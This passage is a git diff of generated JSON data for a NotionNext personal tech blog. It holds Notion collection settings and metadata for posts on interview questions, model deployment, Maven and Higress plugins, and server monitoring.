4fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","date":{"start_date":"2024-04-08","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240408-LM-02","tags":["面试","文字"],"summary":"跟谁学面试题","title":"万里长征-02-跟谁学","status":"Published","publishDate":1712534400000,"publishDay":"2024-4-8","lastEditedDate":"2024-04-08T17:08:09.011Z","lastEditedDay":"2024-4-9","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","tagItems":[{"name":"面试","color":"yellow"},{"name":"文字","color":"brown"}],"password":""},"next":{"id":"4d955058-b605-46cf-b242-1535b732af30","date":{"start_date":"2024-04-05"},"type":"Post","category":"万里长征","slug":"article/240405-LM","tags":["面试","推荐"],"summary":"常见面试题汇总","title":"万里长征","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-07T09:23:11.250Z","lastEditedDay":"2024-4-7","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"},{"name":"推荐","color":"red"}],"password":""},"recommendPosts":[{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","date":{"start_date":"2024-05-25","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240525-LM-04","tags":["面试"],"summary":"脉脉面试题","title":"万里长征-04-脉脉","status":"Published","publishDate":1716595200000,"publishDay":"2024-5-25","lastEditedDate":"2024-06-26T04:59:08.858Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240429-LM-fox","tags":["面试"],"summary":"搜狐面试题","title":"万里长征-03-搜狐","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-05-25T02:20:00.057Z","lastEditedDay":"2024-5-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","date":{"start_date":"2024-04-08","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240408-LM-02","tags":["面试","文字"],"summary":"跟谁学面试题","title":"万里长征-02-跟谁学","status":"Published","publishDate":1712534400000,"publishDay":"2024-4-8","lastEditedDate":"2024-04-08T17:08:09.011Z","lastEditedDay":"2024-4-9","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","tagItems":[{"name":"面试","color":"yellow"},{"name":"文字","color":"brown"}],"password":""},{"id":"4d955058-b605-46cf-b242-1535b732af30","date":{"start_date":"2024-04-05"},"type":"Post","category":"万里长征","slug":"article/240405-LM","tags":["面试","推荐"],"summary":"常见面试题汇总","title":"万里长征","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-07T09:23:11.250Z","lastEditedDay":"2024-4-7","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240405-LM.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240405-LM.json new file mode 100644 index 000000000..069397606 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240405-LM.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控